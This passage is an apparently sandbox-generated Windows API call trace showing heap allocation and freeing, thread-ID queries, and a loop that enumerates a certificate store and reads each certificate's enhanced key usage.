(HeapHandle=0x2ad0000, Flags=0x0, Size=0xf) returned 0x2c82a00 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183fc0 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82a30 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82b08 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82b80 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183fe0 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b8fb8 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2b) returned 0x3262f00 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183c40 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82b98 [0081.572] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c82730, Size=0x20) returned 0x3028238 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82730 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82aa8 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x35b99b0 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b9068 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x41) returned 0x31d6488 [0081.572] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xba) returned 0x3621df0 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ea0 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c829d0 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b8f08 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183d00 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82ad8 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82850 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183e40 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82a00 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82bb0 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b8f78 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183fa0 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82b38 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82958 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183f60 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82b80 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b8fb8 | out: hHeap=0x2ad0000) returned 1 [0081.573] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183fe0 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82b08 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82a30 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183fc0 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6488 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82aa8 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b9068 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b99b0 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82730 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82b98 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c40 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028238 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183da0 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82760 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183e00 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c828b0 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183e80 | out: hHeap=0x2ad0000) returned 1 [0081.574] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82b20 | out: hHeap=0x2ad0000) returned 1 [0081.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ec0 | out: hHeap=0x2ad0000) returned 1 [0081.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c829b8 | out: hHeap=0x2ad0000) returned 1 [0081.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ee0 | out: hHeap=0x2ad0000) returned 1 [0081.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028328 | out: hHeap=0x2ad0000) returned 1 [0081.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c80 | out: hHeap=0x2ad0000) returned 1 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183e80 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9) returned 0x2c82b08 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35b9028 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8c) returned 0x2ac0a40 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183da0 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82b98 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82a90 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82958 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183c40 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b8f98 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9) returned 0x2c82a60 [0081.575] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c829d0 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82b20 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183d00 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b8fa8 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e) returned 0x2a18ea8 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82928 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82a18 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183e00 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b9018 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e) returned 0x3262e90 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82a30 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82bb0 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183e40 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3) returned 0x35b90b8 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35b9068 [0081.576] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c82b98, Size=0x20) returned 0x3028238 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c82970 [0081.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c82bc8 [0081.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x3183ea0 [0081.577] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x9) returned 0x2c82b38 [0081.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c829b8 | out: hHeap=0x2ad0000) returned 1 [0081.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0081.577] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82010 | out: hHeap=0x2ad0000) returned 1 [0081.577] GetCurrentThreadId () returned 0x9b0 [0081.577] GetCurrentThreadId () returned 0x9b0 [0081.577] GetCurrentThreadId () returned 0x9b0 [0081.577] GetCurrentThreadId () returned 0x9b0 [0081.577] GetCurrentThreadId () returned 0x9b0 [0081.577] GetCurrentThreadId () returned 0x9b0 [0081.577] GetCurrentThreadId () returned 0x9b0 [0081.577] GetCurrentThreadId () returned 0x9b0 [0081.577] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82730 | out: hHeap=0x2ad0000) returned 1 [0081.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82010 | out: hHeap=0x2ad0000) returned 1 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.578] GetCurrentThreadId () returned 0x9b0 [0081.579] GetCurrentThreadId () returned 0x9b0 [0081.579] GetCurrentThreadId () returned 0x9b0 [0081.579] GetCurrentThreadId () returned 0x9b0 [0081.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c82178 | out: hHeap=0x2ad0000) returned 1 [0081.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18f38 | out: hHeap=0x2ad0000) returned 1 [0081.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0081.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f36e8 | out: hHeap=0x2ad0000) returned 1 [0081.579] CertOpenStore (lpszStoreProvider=0x9, dwEncodingType=0x0, hCryptProv=0x0, dwFlags=0x28000, pvPara=0x30a5654) returned 0x1060f98 [0081.649] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x0) returned 0x3e24910 [0081.649] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.649] GetLastError () returned 0x80092004 [0081.649] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x2, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.649] GetLastError () returned 0x80092004 [0081.649] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.649] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.649] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x2a200d8, pcbUsage=0x9ba874 | out: pUsage=0x2a200d8, pcbUsage=0x9ba874) returned 1 [0081.649] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0081.649] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.649] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.649] GetLastError () returned 0x80092004 [0081.650] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x2, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.650] GetLastError () returned 0x80092004 [0081.650] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.650] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.650] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x2a1ff58, pcbUsage=0x9ba874 | out: pUsage=0x2a1ff58, pcbUsage=0x9ba874) returned 1 [0081.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0081.650] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.650] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.650] GetLastError () returned 0x80092004 [0081.650] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x2, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.650] GetLastError () returned 0x80092004 [0081.650] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c82178, Size=0x20) returned 0x3028260 [0081.650] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.650] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.650] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a19298, pcbUsage=0x9ba874 | out: pUsage=0x2a19298, pcbUsage=0x9ba874) returned 1 [0081.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19298 | out: hHeap=0x2ad0000) returned 1 [0081.650] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.650] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.651] GetLastError () returned 0x80092004 [0081.651] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x2, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.651] GetLastError () returned 0x80092004 [0081.651] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.651] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.651] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x2a201c8, pcbUsage=0x9ba874 | out: pUsage=0x2a201c8, pcbUsage=0x9ba874) returned 1 [0081.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0081.651] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.651] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.651] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a1ff58, pcbUsage=0x9ba874 | out: pUsage=0x2a1ff58, pcbUsage=0x9ba874) returned 1 [0081.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0081.651] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028260, Size=0x40) returned 0x2a19370 [0081.651] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.651] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.651] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de680, pcbUsage=0x9ba874 | out: pUsage=0x31de680, pcbUsage=0x9ba874) returned 1 [0081.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0081.651] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24cd0 [0081.652] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.652] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3ca8 | out: hHeap=0x2ad0000) returned 1 [0081.652] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.652] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.652] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334cbc0, pcbUsage=0x9ba874 | out: pUsage=0x334cbc0, pcbUsage=0x9ba874) returned 1 [0081.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334cbc0 | out: hHeap=0x2ad0000) returned 1 [0081.652] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.652] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.652] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3ca8 | out: hHeap=0x2ad0000) returned 1 [0081.652] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.652] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.652] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334cbc0, pcbUsage=0x9ba874 | out: pUsage=0x334cbc0, pcbUsage=0x9ba874) returned 1 [0081.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334cbc0 | out: hHeap=0x2ad0000) returned 1 [0081.653] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.653] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.653] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334c9e0, pcbUsage=0x9ba874 | out: pUsage=0x334c9e0, pcbUsage=0x9ba874) returned 1 [0081.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334c9e0 | out: hHeap=0x2ad0000) returned 1 [0081.653] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.653] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.653] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d1b00, pcbUsage=0x9ba874 | out: pUsage=0x33d1b00, pcbUsage=0x9ba874) returned 1 [0081.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1b00 | out: hHeap=0x2ad0000) returned 1 [0081.653] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.653] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.653] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334d660, pcbUsage=0x9ba874 | out: pUsage=0x334d660, pcbUsage=0x9ba874) returned 1 [0081.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d660 | out: hHeap=0x2ad0000) returned 1 [0081.654] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19370, Size=0x64) returned 0x2a197a8 [0081.654] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.654] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.654] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f5ea0, pcbUsage=0x9ba874 | out: pUsage=0x33f5ea0, pcbUsage=0x9ba874) returned 1 [0081.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f5ea0 | out: hHeap=0x2ad0000) returned 1 [0081.654] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.654] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.654] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334d340, pcbUsage=0x9ba874 | out: pUsage=0x334d340, pcbUsage=0x9ba874) returned 1 [0081.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d340 | out: hHeap=0x2ad0000) returned 1 [0081.654] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.654] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.654] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f61a0, pcbUsage=0x9ba874 | out: pUsage=0x33f61a0, pcbUsage=0x9ba874) returned 1 [0081.654] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f61a0 | out: hHeap=0x2ad0000) returned 1 [0081.654] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.654] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.655] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1470, pcbUsage=0x9ba874 | out: pUsage=0x33d1470, pcbUsage=0x9ba874) returned 1 [0081.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1470 | out: hHeap=0x2ad0000) returned 1 [0081.655] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.655] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.655] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x35b9550, pcbUsage=0x9ba874 | out: pUsage=0x35b9550, pcbUsage=0x9ba874) returned 1 [0081.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b9550 | out: hHeap=0x2ad0000) returned 1 [0081.655] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.655] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.655] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d020, pcbUsage=0x9ba874 | out: pUsage=0x334d020, pcbUsage=0x9ba874) returned 1 [0081.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d020 | out: hHeap=0x2ad0000) returned 1 [0081.655] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.655] CertGetEnhancedKeyUsage (in: 